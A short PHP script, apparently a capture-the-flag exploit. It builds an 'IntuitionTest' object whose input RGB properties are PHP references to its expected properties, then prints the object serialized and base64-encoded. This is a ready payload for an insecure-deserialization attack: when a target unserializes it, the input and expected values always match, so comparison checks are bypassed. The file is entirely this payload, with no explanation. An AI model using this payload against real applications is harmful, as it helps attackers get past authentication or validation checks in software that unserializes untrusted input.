ARA_IntuitionTest.php

<?php
class IntuitionTest {
    public $name;
    public $expected_R;
    public $expected_G;
    public $expected_B;
    public $input_R;
    public $input_G;
    public $input_B;
}

$obj = new IntuitionTest();
$obj->input_R = &$obj->expected_R;
$obj->input_G = &$obj->expected_G;
$obj->input_B = &$obj->expected_B;

$serialized = serialize($obj);
echo base64_encode($serialized);
?>